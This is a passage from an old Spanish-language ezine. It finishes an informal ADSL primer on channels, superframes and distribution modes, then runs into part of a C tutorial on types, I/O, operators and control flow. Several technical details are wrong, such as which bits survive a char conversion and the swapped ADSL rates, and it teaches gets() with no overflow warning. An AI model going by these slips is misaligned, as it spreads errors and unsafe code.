1 canal portador de 4,096 Mbps y 1 de 2,048 Mbps
3 canales portadores de 2,048 Mbps

La clase 2M 2 es opcional y tranporta 4,096 Mbps en downstream. 2M 2 se
compone de 1 o 2 canales a velocidades multiplos de 2,048, puede ofrecer una
o todas las velocidades de los canales, ya k ninguno es obligatorio. AS2
nunca se usa en esta clase. Las configuraciones pueden ser:

1 canal portador de 4,096 Mbps
2 canales portadores de 2,048 Mbps

La clase 2M 3 es opcional tb. Esta diseñada para los bucles de mayor
longitud, y ofrece la capacidad downstream mas baja. Solo existe un canal
portador sobre el AS0 a 2,048 Mbps.

Se debe tener en cuenta k cuando se usa ADSL para trasnportar celdas ATM (mas
sobre ATM, mail me o al staff) en sentido downstream solo se usa AS0, por lo
k solo existe una opcion de configuracion k opera entre 1 y 4 velocidades.
Esto se define como clases de transporte ATM, de la 1 a la 4, y operan a
1,760, 3,488, 5,216 y 6,944 Mbps. Las velocidades son consecuencia de
compatibilidad con la AAL1 (ATM Adaptation Layer 1) y con ATM en general.


- -3.4 Canales bidireccionales (duplex)

De momento se pueden transportar hasta 3 canales bidireccionales
simultaneamente sobre un interfaz ADSL, uno de ellos es el canal de control,
obligatorio siempre (canal C) .Dicho canal transporta mensajes de
señalizacion para la seleccion de servicios y para el control de llamada.
Toda la señalizacion para el control de los canales downstream simplex se
trasnporta aki, aunke tb puede transportar señales de los canales duplex, si
estan presentes. El canal C siempre esta activo y opera a 16 Kbps en las
clases de transporte 4 y 2M 3, en los cuales es transportado en una seccion
especial de la cabecera ADSL. El resto de clases utiliza un canal C de 64
kbps y los mensajes son tranportados en el canal portador duplex LS0.

Ademas del canal C, un sistema ADSL puede transportar 2 canales portadores
bidireccionales de manera opcional, un LS1 a 160 Kbps y un LS2 a 384 Kbps o a
576 Kbps. La estructura de estos canales varia segun la clase de trans- porte
(como los simplex). Ambos tipos de canales se pueden relacionar (ver Apendice
D, tabla de relacion). Los canales duplex tb tienen la opcion de transportar
celdas ATM sobre el canal LS2, en este caso ademas de AAL1 se transportan
celdas con formato AAL5 (ATM Adaptation Layer 5). En este caso las
velocidades son 448 Kbps o 672 Kbps, al objeto de la compatibilidad con ATM.



*4 La cabecera y las tramas ADSL

- -4.1 La cabecera 

ADSL incluye una cabecera para desarrollar una serie de funciones. Una de
la mas importantes es el sincronismo de los canales portadores, es decir,
que los dispositivos en los extremos de la conexion ADSL deben saber que
canales estan configurados (AS / LS) y a que velocidad funcionan. 

Otras funciones son el coc (canal de operaciones), el ooc (canal de control
de operaciones) usados para la configuracion remota y la adaptacion de
velocidad, deteccion de errores mediante un CRC, ademas de una serie de bits
para administracion, operacion y mantenimiento (OAM). y bits usados para la
correccion de errores hacia delante. Es decir, sin tener k volver a
transmitir los datos (FEC, algunos de los terminos, raramente, se escriben en
minusculas...).
  
Los bits de la cabecera se envian en upstream y downstream, en cadenas
normalmente de 32 Kbps, aunque no siempre. P.e. para las estructuras de
mayores velocidades existe una tasa de transferencia maxima de 128 Kbps y una
minima de 64 Kbps, siendo la velocidad por defecto de 96 Kbps en downstream.
En upstream la tasa maxima es de 64 Kbps y la minima 32 Kbps, siendo 64 Kbps
la velocidad por defecto. En algunos casos los bits de la cabecera se
incluyen en el interior de la transferencia general y en otros una
determinada direccion.

Todos los bits transmitidos a traves de un enlace ADSL provienen de un buffer
"fast" o de un buffer "interleave". El buffer interleave transporta datos que
pueden funcionar adecuadamente con un retardo de intercalado, (interleave
delay), y el fast datos que no pueden funcionar adecuadamente con el retardo
de intercalado, o un almacenamiento en los buffers de los dispositivos. Esta
es otra importante funcion de la sincronizacion ya k no todos los bits k se
envian son tratados igual, dado k algunos podrian ser de servicios de audio o
video y otros p.e. de transferencias de ficheros. El espacio asignado en cada
trama para transportar los bits del buffer de datos fast es distinto al k se
asigna a los del buffer interleave, asi no hay dudas de k tipo de bits se
estan enviando y donde se encuentran localizados.


- -4.2 Tramas y supertramas

Todos los protocolos funcionan segun una serie de capas, ADSL por suspuesto
sigue este metodo de organizacion. En las capas mas bajas de encuentran los
bits representados por medio de una codificacion de linea determinada, en
este caso CAP o mas comunmente DMT. Los bits se organizan en tramas y se
agrupan en supertramas. Realmente las tramas no son mas k unas estructuras de
bits. La supertrama ADSL es una secuencia de 68 tramas ADSL, se asemeja mas a
la trama T1 que a la Ethernet, aunke una trama Ethernet puede ir contenida en
la supertrama ADSL.

ALgunas tramas tienen funciones especiales. P.e. las tramas 0 y 1 contienen
info de control de errores (CRC) y bits k actuan como indicadores (ib) (no,
no es Ibiza coño, kitaros las vacaciones de la cabeza...) que se usan para
gestionar el enlace. En las tramas 34 y 35 se transportan otros ib. Tras la
supertrama se envia una trama especial de sincronizacion.

Se envia una supertrama cada 17 milisegundos, dentro de la supertrama estan
las tramas. Se envia una trama cada 250 microsegundos (1/4000 de seg) y se
componen de 2 partes principales: la primera parte es la de los datos fast,
dichos datos son sensibles al retardo y tolerantes al ruido. ADSL intenta
mantener la latencia asociada en el minimo absoluto, el contenido del buffer
de datos fast del dispositivo ADSL se coloca ako. Un byte especial denominado
"fast byte" precede a esta seccion y contiene el CRC y los ib (este byte
siempre esta presente). Donde es necesario los datos fast se encuentran
protegidos por un campo FEC (correccion de errores hacia delante).

La segunda parte contiene los datos interleave, empaketados para ser
resistentes al ruido, a costa de una latencia mayor. Esto esta diseñado para
servicios de datos como p.e. el acceso a Inet o a intranets corporativas. No
existen longitudes de tramas determinadas, dado k la velocidad de la linea
puede variar y es asimetrica. Simplemente se establecio el tiempo ya
comentado; tramas cada 250 microsegundos (fast e interleave cada 125) y
supertrama cada 17 ms.

Ademas de las tramas 0 y 1, y 34 y 35, mencionadas antes,el resto de las
tramas (2 a 33 y 36 a 67) tb transportan informacion de cabeceras, pero
representando el eoc (canal de operaciones) y el sc (canal de sincronismo).
Todo esto se encuentra en el interior del fast byte de cada trama ADSL
contenida en la supertrama (que incluso tiene una estructura diferente si la
trama es par o impar).

Todo esto es facil y complicado a la vez, facil pk cada trama tiene una
estructura fija dentro de la supertrama. Para cada buffer fast o interleave,
la trama se compone simplemente de un determinado numero de bytes para el
canal portador AS0, seguido del AS1 ..etc (segun el transporte). Tras esos
bytes vienen los correspondientes a los canales LS0, LS1... Si no existen
bytes para un AS o LS determinado esas areas estarian vacias. Y complicado pk
ADSL tiene muchas velocidades diferentes, cada bit puede ser transportado en
el area del bufer de datos fast o interleave de una trama. Cada flujo de
datos de usuario es asignado durante un proceso de inicializacion, tanto al
buffer fast como al interleave, ...etc. - Por cierto k el ADSL forum sugiere
k el bufer fast debe ser unas 10 veces mas rapido en terminos de latencia k
el interleave -.



*5 Modos de distribucion

El ADSL Forum ha definido 4 modos de distribucion para la totalidad de las
tecnologias xDSL (incluido ADSL). Dichos modos determinan unicamente la forma
en la k se envian los bits de las tramas ADSL, y de paso considerar a ADSL no
como un anexo a la RTC sino como una alternativa.

El 1er modo y menos interesante establecido por el ADSL forum es conocido
como el "bit synchronous mode". Significa k cada bit colocado en el buffer
fast o interleave de un dispositivo en un extremo del enlace ADSL (ATU-R)
aparecera en el otro extremo (ATU-C). En su forma mas simple consistiria en
un canal descendente a 1,536 Mbps y uno ascendente a 64 Kbps. En este modo el
ATU-C maneja los bits k le llegan por el canal C o LS enviandolos hacia algun
commutador de circuitos de la central o (por ejemplo) a un router IP
conectado a Inet.

El segundo modo es el modo adaptador de paketes (paquet adapter mode). Se
produce un cambio en el equipo de usuario de forma k este preparado para
enviar y recibir paketes en lugar de un flujo de bits. Los paketes se
disponen en las tramas ADSL de acuerdo con alguna funcion de adaptacion. De
esta manera se puede conectar p.e. una LAN entera a un enlace ADSL. Estos 2
modos usan canales multiplexados en el tiempo (TDM) hasta el dispo- sitivo
final (mas sobre TDM y FDM mail me o al staff).

El tercer modo es el modo de paketes punto a punto (end to end packet mode).
Es un modo similar al anterior, de hecho aunke se presenten de forma separada
suelen usarse juntos para generar un servicio basado en paketes. La
diferencia con el modo anterior es k los paketes son multiplexados en los
canales ADSL, es decir no son mapeados en una secuencia de tramas
representando ASs o LSs sino k son enviados a un enlace ADSL sin canales, en
los k se producen flujos upstream y dowsntream a una velocidad determinada.
Naturalmente los paketes del usuario y del proveedor del servicio deben ser
del mismo tipo. Los paketes son enviados hacia y desde sus propios servidores
basandose en la direccion, o bien hacia el router de un ISP p.e. En
definitiva esto ya nos es muy familiar pk se trata de una red de commutacion
de paketes y no de circuitos.

El ultimo modo es el ATM mode, o mejor dicho el ATM punto a punto. Este modo
multiplexa y envia celdas ATM desde un adaptador ATM (ATU-R) en vez de
paketes IP (o de cualkier tipo). En el lado del proveedor de servicios el
ATU-C trasvasa las celdas a una red ATM. Recordemos k aparte del uso de ATM
para la transmision de audio/video por sus caracteristicas, ATM puede
transportar paketes IP tb. Destacar k los dispositivos ATU-C normalmente
forman parte de un DSLAM (multiplexor de acceso a linea digital de abonado).

Estos 4 modos de distribucion, se combinan con los formatos de informacion
de otros ekipos k forman parte de la arkitectura (aparte del ATU-C/ATU-R)
para crear al menos 6 caminos diferentes para acceder a servicios basados
en ADSL:

ADSL para TCP/IP: modo adaptador
ADSL para TCP/IP: modo extremo a extremo
ADSL para ATM
Red ADSL - ATM
Red ADSL - ATM: PPP usando PVC
Red ADSL - ATM: PPP usando SVC

Si estais interesados en conocer alguno de estos metodos, mail me o al staff.
Estos metodos van desde el simple acceso a Inet, Intranets, y servidores,
hasta servicios de video bajo demanda...etc.



*6 Conclusion y despedida

Bueno esto como veis es bastante amplio, aki he intentado hacer una pekeña
introduccion a la ADSL, mas ke nada pk esta claro k las tecnologias xDSL
suponen un punto a tener en cuenta en cuanto a conectividad (por ejemplo
HDSL ya se esta usando para sustituir a las portadoras T1/E1). ADSL de
cara al usuario final y a la pyme puede constituir una linea de acceso
de gran velocidad y ancho de banda k puede ser usada tanto para el acceso
a Inet (si es ke los ISPs y la misma Inet tal como estan pueden soportarlo),
como para el acceso a Intranets y servidores privados, servicios, e incluso
llegando a poder ser usada para el video/audio bajo demanda.

Lo k no se es si la timo estara a la altura (de cobrar por supuesto k si). De 
momento, y como pasaba con la RDSI, los "tecnicos" no tienen ni puta idea.
Si teneis alguna pregunta no os corteis:


 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   (Personal)

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
      (Lista del staff)

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
      (Lista de correo general)



*Apendice A

Miembros mas importantes de la familia xDSL

HDSL HDSL2 (DSL de alta velocidad) 1,544/2,048 Mbps Simetrico

SDSL (DSL simetrico) 768 Kbps Simetrico

ADSL (DSL asimetrico) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps (downstream)
     asimetrico

RADSL (DSL de velocidad adaptable) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps
      (downstream) asimetrico

CDSL (DSL de consumidor) hasta 1 Mbps (upstream) de 16 a 128 Kbps (upstream)
     asimetrico

IDSL (DSL de RDSI) velocidad como el BRI basico RDSI , simetrico

VDSL (DSL de muy alta velocidad) De 13 a 52 Mbps (downstream) de 1,5 a 6,0
     (upstream) ,asimetrico


*Apendice B

Terminologia ADSL

ATU-C unidad de transmision ADSL lado de la central
ATU-R unidad de transmision ADSL lado remoto (usuario)
B Entrada auxiliar de datos
DSLAM  Multiplexor de acceso DSL
POTS-C Interfaz entre la RTC y el filtro lado de la central
POTS-R Interfaz entre la RTC y el filtro lado del usuario
T-SM Interfaz T para el modulo de servicio
U-C Interfaz U lado de la central
U-C2 Interfaz U lado de la central desde el filtro al ATU-C
U-R Interfaz U lado remoto (usuario)
U-R2 Interfaz U lado remoto desdel el filtro a la ATU-C
Va Interfaz V lado del nodo de acceso
Vv Intrfaz V lado remoto


*Apendice C

Tablas de restricciones de velocidad

- -1,536 (T)
AS0	n x 1,536	n=0,1,2,3 o 4
AS1	n x 1,536	n=0,1,2 o 3
AS2	n x 1,536	n=0,1 o 2
AS3	n x 1,536	n=0 o 1

- -2,048 (E)
AS0 	n x 2,048	n=0,1,2 o 3
AS1	n x 2,048	n=0,1 o 2
AS2	n x 2,048	n=0 o 1


*Apendice D

Maximo numero de canales duplex soportados por clase

- -clase 1 o 2M 1   conf 1: 160 Kbps + 384 Kbps        LS1,LS2
                    conf 2: 576 Kbps solo              LS2 solo
- -clase 2,3 y 2M 2 conf 1: solo 160 Kbps              LS1 solo
		    conf 2: solo 384 Kbps              LS2 solo
- -clase 4 y 2M 3   solo 160 Kbps	


*Apendice E

Ultima hora xD, acabo de recibir (k casualidad) la atenta llamada de una srta
de la timo ofreciendome la conversion de mi RDSI a ADSL gratix. Solo tengo k
comprarles (me pregunto si podria comprarlo x mi cuenta) el ATU-R/Router
capao pa la red por 35 K (no ta mal, todo hay k decirlo).

El palo viene ahora: 6500 pts/mes por 256Kbps en downstream y 128 en
upstream, si kieres mas arruinate pagando..(suponiendo k rulep..), asi no hay
manera de prosperar. Lluego estan los "tecnicos"... ¿keee, ke tienen k
configurarme keeeee?? y una mierda mete nadie la zarpa aki!! amas no uso
windows...........



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x03 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Lenguaje C (2/2) ]-======================================================
=-[ por JohnnyG ]-===========================================================




[Nota de Editor: Primera parte del Articulo en NetSearch Ezine #5.]



TIPOS BASICOS DE DATOS.
***********************


Tipos de datos fundamentales.
-----------------------------

   El identificador de un dato debe de comenzar por una letra o por un _.
Luego tambien puede incluir numeros.

   Los principales son:


 *  char 	1 byte	   caracter.
 *  int	        2 bytes	   enteros (positivos y negativos).
 *  float		   numero real o de coma flotante.
 *  double		   numero de coma flotante con doble precision.


   La longitud y capacidad de los distintos tipos, depende bastante del
sistema operativo e implementacion de C que utilicemos. Existe otro tipo,
void, que se usa principalmente para funciones, siempre que no devuelvan nada
y para punteros sin tipos.

	
Modificadores de tipo.
----------------------

   Sirven para alterar el significado de los distintos tipos base. Los
posibles son:


 *  signed :   con signo
 *  unsigned : sin signo
 *  long :     largo
 *  short :    corto


   Se pueden aplicar los cuatro modificadores a datos de tipo char e int.
Para float y double, solo es aplicable el modificador long.

     1: signed char c;	

   El modificador siempre ira por delante de la variable o funcion. Los
cambios que realice dependen del tipo de compilador.

   Suponemos palabras de 16 bits:

 *  char		8		0 a 255
 *  int			16		-32768 a 32767
 *  float		32		6 digitos de precision aprox.
 *  double		64		12 digitos de precision aprox.
 *  unsigned char			0 a 255
 *  signed char			        -128 a 127
 *  unsigned int			0 a 65535


Declaracion de variables.
-------------------------

   La declaracion de variables se realiza de la siguiente forma:
	tipo lista_de_variables;
	
	1: int x, y, z;

   Hay tres puntos donde se pueden declarar variables:

 *  Dentro de una funcion : La variable sera local a esa funcion.
 *  Fuera de una funcion: La variable sera global.
 *  Parametro de una funcion. Variable local a esa funcion.


Modificadores de acceso.
------------------------

   Los modificadores de acceso influyen en la forma de modificar el valor de
una variable.

 *  const : constante. El valor no puede ser cambiado;

	1: const int a;

 * volatile : Variable cuyo valor va poder ser modificado sin previo aviso o
sin que pase por alguna instruccion de C (Como puertos, detectores
visuales...);

	1: const volatile unsigned char *port = 0x36;  

  En este caso, puede parecer raro juntar const con volatile. Vamos a
explicarlo:

  La variable en si, es un puntero de nombre port (*port), que guarda un
caracter sin signo (unsigned char). El puntero apuntara al puerto 0x36, que
sera constante, (const) siempre apuntara a ese puerto, pero el valor que haya
en ese puerto, puede variar en cualquier instante (volatile). Si no lo has
entendido, no te preocupes, yo todavia no me he echo a la idea, pero me lo
creo. (Consejo: Si en todos los sitios te dicen que algo es blanco, y tu lo
ves negro, creete que es blanco, al final lo entederas. No preguntes como,
pero creetelo).


Ambito de las variables
-----------------------

 *  Variables locales

  En C se pueden crear grupos de instrucciones (bloque), usando para ello { }
  Si se declara una variable en una funcion, es local a esa funcion (Una 
funcion es un bloque de instrucciones). Si se declara en un bloque, la variable
es local al bloque.

	1: if (t = = 9)
	2: {
	3:    char s [10];
	4:    printf ("Introduce tu nombre");
	5:    gets(s);
	6: }
	
  En este caso, el nombre no seria accesible desde cualquier otra parte del
programa.

  Las variables se almacenan en la pila. Las variables locales se destruyen
al acabar la funcion o el bloque, a la que son locales.

  Otras variables locales a una funcion, son las que se pasan como
parametros.Para declarar variables, pasadas como parametros de una funcion,
hay dos metodos: el tipo antiguo, y el estandar ANSI.

Tipo antiguo:
	
	1: buscar (s, c) {
	2: char s, c;
        3: }

Tipo  ANSI
	
	1: buscar (char s, char c) { ... }


 * Variables globales

  Se declaran fuera de todas las funciones, al comienzo del programa. Tienen
un valor conocido en cualquier punto del programa. El espacio de memoria se
reservara durante toda la ejecucion del programa. Se pueden volver a declarar
dentro de una funcion, variables locales con el mismo nombre, y cuando nos
refiramos a una variable, sera a la local, no a la global.

	
	1: #include 
	2: int x;
	3: main ( )
	4: {
	5: 	...
	6: }
	7:
	8: buscar (char c, char s)
	9: {
	10: int x;
	11:	...  /* Si hicieramos alguna referencia a x, seria a la local */
	12: }


  Inconvenientes:

. Utiliza memoria durante todo el tiempo de ejecucion del programa.

. Una funcion, si recoge o usa valores de una variable global, no
  tendra portabilidad.

. Se puede cambiar accidentalmente el valor de la variable, lo que hace
  bastante mas dificil la depuracion.

	
Almacenamiento de variables.
---------------------------

  Indican como se van a almacenar las variables que estamos declarando. Se
coloca delante de la declaracion de la variable.

 * auto : Es de tipo automatico. Se toma por defecto cuando esta dentro de
   una funcion o bloque. Es una variable local.

 * extern : Tiene dos usos. Para programas de varios ficheros, indica que la
   variable ya esta declarada en otro fichero. En este caso no reservara 
   memoria de nuevo.

  Fichero 1
	
	1: #include 
	2: .
	3: int x;
	4: main  ( )
	5: {
	6:	...
	7: }

  Fichero 2
	
	1: extern int x;

  Al linkar los dos ficheros, es cuando se resuelve la direccion de la
variable.

  El segundo uso seria para indicar en un bloque que una variable esta declarada
fuera del bloque. Indica que es una variable global.


	1: #include 
	2: 
 	3: int x;
	4: main ( )
	5: {
	6: 		...
	7: }
	8:
	9: func1 ( )
	10: {
	11: extern int x;
	12: 	...
	13: }


 *  static : Tiene 2 misiones:

  Cuando se refiere a una variable, su tiempo de vida sera el tiempo de vida
del programa. Si ha sido declarada dentro de una funcion o bloque, no se destruye
al acabar el bloque, sino que se mantiene e incluso conserva su valor para 
sucesivas llamadas. Se suelen usar como contadores. 
	
	1: int contar ( )
 	2: {
	3: 	static int contador = 0;  /*solo se inicializar˜ en la primera 
	4:				llamdada */
	5:	...
	6: 	contador = contador + 1;
	7:	...
	8: }
	
  Suelen ser bastante utiles para tener que evitar variables locales.
  Si este modificador se utiliza en una funcion, indica que la funcion solo
es visible en el modulo donde esta declarada, para programas con varios
ficheros.

	
 * register : Indica al compilador que si puede, meta la variable en uno de
  los registros de la CPU (solo aplicable a int y char); Da mucha mas 
  velocidad a la ejecucion. En caso de que no pueda, hara todo lo posible 
  para que su acceso sea lo mas rapido posible. Normalmente, los compiladores 
  actuales hacen esto de manera automatica.

  Las variables de tipo global y static se inicializan a 0 por defecto; el
resto no. Tambien es posible inicializar una variable en la declaracion.

	1: unsigned int x = 50456;


Conversion de tipos
-------------------

  En C, a diferencia de Pascal, en una expresion se permite la combinacion de
tipos. Cuando en una asignacion se mezclan diferentes tipos, se convierte el
valor de la expresion de la derecha, al tipo de dato de mas a la izquierda, y
se eliminan los bits mas significativos, si es necesario.

	1: int x;
	2: char ch;
	3: float f;
	4: {
	5:	ch = x;	/* Pasan los 8 bits mas significativos */
	6:	x = f;	/* Elimina la parte decimal */
	7:	f = ch;	/* Almacenara un caracter */
	8:	printf ("\n%d%d%f", ch, x, f);
	9: }
  	
  Las salidas por pantalla serian:

	Valores : x = 25 ; f = 34.35 
	Salidas : ch = 25 ; x = 34; f = 25.000000
	Valores : x = 315 ; f = 65000.15 
	Salidas : ch = 59 ; x = 536 ; f = 59.000000



FUNCIONES BASICAS DE ENTRADA / SALIDA
*************************************

  Se encuentran en la libreria stdio.h

	1: #include 


getchar ( ) , putchar ( )
-------------------------

  Leen y escriben un caracter en pantalla. La lectura se hace con eco (El
caracter pulsado se escribe en pantalla).

	1: #include 
	2: #include 
	3: main ( )
	4: {
	5: 	char ch;
	6:	do {
	7:      	ch = getchar ( );
	8:		if ( islower(ch)) putchar (toupper (ch));  
	9:		else putchar (tolower (ch)); 
	10:	} while (ch !='.');
	11: } 

  Las funciones islower, toupper y tolower, se encuentran en la libreria
  ctype.h

 *  islower () Devuelve cierto si el caracter es una minuscula.
 *  toupper () Devuelve la mayuscula del caracter que se le pasa.	
 *  tolower () Devuelve la misnuscula del caracter que se le pasa.


getch ( )
---------

  Igual que getchar ( ) pero sin eco.


gets ( ) , puts ( )
-------------------

  Leen o imprimen una cadena en teclado. Al leer gets ( ) una cadena de
teclado, lo hace incluyendo espacios y todo tipo de caracteres hasta hayar
un retorno de carro.

	1: char cadena [30]

  Leeria desde el 0 hasta el 28 (Los arrays en C empiezan en 0). El ultimo
espacio siempre se reserva para la marca de fin de linea.

  Ademas, puts ( ), permite la inclusion de codigos de barra invertida.

  \b  	espacio hacia atras
  \f 	salto de pagina
  \n	nueva linea
  \r	salto de carro
  \t 	tabulacion horizontal
  \"	imprime "
  \'	imprime '
  \	barra invertida \
  \v	tabulaci1/2n vertical
  \o 	constante octal
  \x 	constante hexadecimal.


printf ( ), scanf ( )
---------------------

  Son las mas versatiles ya que hacen de todo. Permiten codigos de barra
  invertida.
  
  printf ("cadena", lista, de, argumentos);

	1: printf ("\n El valor de x es %d", x);

  Las ordenes de formato son:

  %c		caracter. 
  %d		decimales (caracteres y enteros)
  %i		igual que d
  %e		notacion cientifica.
  %f		coma flotante
  %g		utiliza e o f, lo que sea mas corto
  %o		octal
  %s		cadena
  %u 		unsigned
  %x		hexadecimal
  %%		%
  %p		punteros


  Modificadores de ordenes de formato:

  %sd 	    longitud minima
  %10.4f    4 decimales, de diez numeros totales que se pueden
            escribir.
  %5.7s     longitud maxima y minima
  %-10.4f   alinezcion a la izquierda. Por defecto es a la derecha.
  %ld       long int
  %hu       short unsigned

  scanf("cadena de control", lista de argumentos);
  Lee desde teclado cualquier tipo de dato, es muy versatil.

	1: int x;
	2: scanf("%d",&x);

  Se usa el ampersand (&), pues scanf trabaja sobre direcciones de memoria.
El &, sirve para saber la direccion de memoria de una variable (mas
informacion en el capitulo sobre punteros).

	1: int i, j;
	2: scanf("%d%d", &i, &j);

  En este caso, la introduccion de datos se puede hacer de dos formas:
	127	/*Return*/
	16

  O bien:
	127 16  /*Espacio y return*/

  Para la lecturas de cadenas, son mas complicadas, se haria:

	1: char cadena[30];
	2: scanf("%s", cadena);  
	
  En este caso no se usa el &, pues el nombre de un array sin corchetes ni
indice, indica ya la direccion de memoria (Punteros). En caso de incluir
una cadena, en este caso, solo se leeria hasta el primer espacio, y el resto
se ignoraria o se asignaria a otras variables. Para coger toda la cadena
hasta un return se haria:

	1: scanf("%[^\n]", cadena);

  A la hora de ignorar algun caracter, se incluye dentro de las cadenas de
control:

	1: scanf("%d,%d", &x,&y);

  En este caso, ignoraria una coma. Si escribimos 127,16 el 127 se lo asigna
a la x y el 16 a la y, y la coma seria ignorada. Si no sabemos cual es el
caracter o lo que queremos ignorar, lo haremos:

	1: scanf("%d%*c%d", &x, &y);

  En este caso, despues de insertar un entero, ignoraria un caracter que se 
incluyese (%*c), y comenzaria a asignar el siguiente entero.

	Para limitar la cantidad de caracteres incluidos:

	1: char a[20];
	2: scanf ("%10s", a);

  En este caso, se limita los caracteres a 10. Es muy importante controlar
que en estos casos no se insertan mas caracteres que los permitidos por el
array, pues segun el sistema operativo, el programa, aunque compile, puede
dar error en tiempo de ejecucion.

	1: scanf("%3d", &j);

  Recogera un numero de tres cifras, ignorando el resto.


	
OPERADORES Y EXPRESIONES
************************


Operadores de asignacion.
-------------------------

  Sirven para asignar un valor a una variable.
     =  /* Tb. Puede ser una expresion */
	
	1: a = 5;

  Tambien esta permitido hacer:

      = 

  Que es equivalente a:

     =   

	1: m *=5;
	2: m = m * 5;
   
  Una forma de asignacion multiple seria:

	1: x = y =  j = 10;
	2: a = b = getchar ( )

  Pero no es aconsajable abusar de esto, pues se puede complicar bastante la 
cosa..
	
	1: i = 2; 
	2: n += (n ++) - (n * i--);
	3: tabla [i] = x + (i = 4);

  En las operaciones y expresiones de C, puede haber mezcla de tipos de
datos, que el compilador tratara de ajustar por defecto. Los tipos char y
short los pasa a int. El tipo flota pasa a double. Lo que hara C normalmente
sera convertir al tipo mas grande posible.

	1: long p;
	2: unsigned char q;
	3: int i;
	4: 
	5: p+(q*i) 	/* i pasa a unsigned int, al igual que q, y luego el 
	6:		resultado lo pasa a long */


Operadores aritmeticos
----------------------

	Los operadores aritmeticos son los de siempre :

	+ 	-	 *	 /	 %	 ++	 --
	
	%  Operacion modulo. Devuelve el resto de una division entre enteros.
	/  Si se dividen un int o un char, devuelve un entero o char, quita 
           la parte decimal.

	1: int i;
	2: float x;
	3: i = 7;
	4: j = 3;
	5: x = i / j;	        /* Devuelve 2.000000 */
	6: x = (float) i / j;   /* Devuelve el autentico valor de la 
        7:                         division */

  En la sentencia anterior, se ha usado un modificador por molde. Sirve para
convertir un tipo de dato al que queremos para una expresion.  Hay que tener
cuidado de como se utiliza. Si en el caso anterior hubieramos puesto:

	1: (float) (i/j)

  No funcionaria, pues aplicamos el molde al resultado de la operacion, con
la que ya se hubieran perdido los decimales.

  Las operaciones ++ y - sirven para incrementar y decrementar un dato de
tipo int. La diferencia entre ambas es:

	1: int n;
	2: n++;
	3: ++n;

  En caso de estar en una expresion la n, en el primero de los casos, se
evaluaria el valor de la expresion, y luego se incrementa n, y en el segundo
de los casos, primero se incrementa y luego se halla el valor de la
expresion.

	1: m = 4;
	2: n = ++m;	/* m=5, n=5 */
	3: m = 4;
	4: n = m++;	/* m=5, n=4 */


Operadores logicos y relacionales.
----------------------------------

  Devuelven un valor verdadero o falso. En el lenguaje C, un valor falso es
0, mientras que todo lo demas es verdadero.

	<	>	<=	>=	= =	!=
	&& 	AND
	||	OR
	!	NOT

	1: printf("\n%d", 5>3);	/* Esto imprimiria un 1 */


Operaciones a nivel de bit
--------------------------

  En lugar de tratar una variable completa, lo hacemos bit a bit.

	&	AND
	|	OR
	^	OR Exclusiva
	~	NOT
	<<	Desplazamiento a la izquierda
	>> 	Desplazamiento a la derecha.

  Estos desplazamientos no son rotaciones. Si sale un uno, se pierde a no ser
que lo introduzcamos de nuevo.

	1: char x = 7;
	2: x & 1;	/* Esto nos daria el valor del primer bit */

		00000111
		00000001
		--------
		00000001	/* Bastante util para crear mascaras */
		

		x | 2		/* Pone a 1 el valor del segundo bit */
		00000111
		00000010
		--------
		00000111	


Otros operadores.
-----------------

  ? -> Sirve para realizar condiciones.

	 ?  : 

  Si la condicio es verdadera, se ejecutara la expresion1; mientras que si es
falsa sera la expresion2 la que se ejecute. La sentencia tomara el valor de
la expresion ejecutada.


	1: m = 50;
	2: n = (m == 99 ? 1 : 2)	/* n tomaria el valor de 2 */
	
	1: main ( )
	2: {
	3:	int t;
	4:	printf (":");
	5:	scanf(%d", &t);
	6:	t ? f2( ) + fi (t) : printf ("Introducido un 0");
	7: }
	8: f1 (int n)
	9: {
	10:	printf ("%d", n);
	11: }
	12: f2( )
	13: {
	14:	printf ("Introducido");
	15: }


  , -> (coma) Es el operador secuencial. Sirve para concatenar varias
    expresiones. Se evaluan de izquierda a derecha, y toma el valor de la 
    mas a la derecha.

	1: x = (y = 3, y + 1)   /* Se deben de usar parentisis al tener menos        
        2:                         precedencia a la asignacion. */

  sizeof ( ) --> Devuelve la longitud en bytes de un determinado tipo de dato o
  variable. Muy util a la hora de exportar codigo entre plataformas, ya que 
  puede que usen diferentes longitudes para los mismos tipos de datos.

	1: long p;
	2: sizeof ( p );  /* Devuelve el espacio ocupado por una variable de
        3:                   tipo long */



SENTENCIAS DE CONTROL.
*********************

if, condicional
---------------

	1: if (expresion) sentencia1;
	2: else sentencia2;

  Si la expresion es verdadera, se ejecuta la sentencia1, y si es falsa, se
ejecuta la sentencia2. El else no es obligatorio y puede suprimirse. En ese
caso, si la condicion es falsa, no se haria nada, y se seguiria ejecutando la
siguiente expresion al if. Las sentencias tambien pueden ser bloques de
sentencias.

	1: #include 
	2: main ( )
	3: {
	4:	int x = 2;
	5:	if (x != 0) {
	6:		    puts ("x no es cero");
	7:                  printf ("x = %d\n", x); 
	9:	            }
	10: }

  Seria lo mismo que el operador ?.

  Los if pueden ir anidados sin ningun tipo de restriccion. A la hora de
emparejar los if con sus respectivos else, si no se incluyen en bloques de
instrucciones, siempre se empareja el else con el if mas cercano que tenga.
Varias formas de anidar los if seria:
	
	1: if (expresion)
	2:	if expresion sentencia;
	3:	else sentencia;

	1: if expresion {
	2:	if expresion sentencia;
	3:	}
	4: else sentencia;

	1: if expresion sentencia;
	2: else if expresion sentencia;
	3: else if expresion sentencia;
	4: else if ...;


switch
------

  Lo que realiza switch es, segun los valores de la variable (case), que
tiene que ser de tipo integer o char, ejecutara unas sentencias u otras. La
comparacion siempre se realiza por igualdad.

	1: switch (variable) {
	2:	case 0 : listar ( );
	3:		break ;
	4:	case 1 : introducir ( );
	5:		break ;
	6:	...
	7:	default : error ( );
	8: }

  En caso de que no coincida con ningun valor, se ejecutaran las sentencias
asociadas a default, que no es obligatorio que aparezca. En las sentencias
aparece break, que sirve para salir del bucle. En caso de que no hubiera un
break, una vez que hubiera ejecutado su bloque de instrucciones, seguiria
ejecutando las que estan a continuacion sin llevar a cabo de nuevo las
comparaciones. Esto es util para asignar un mismo grupo de sentencias a un
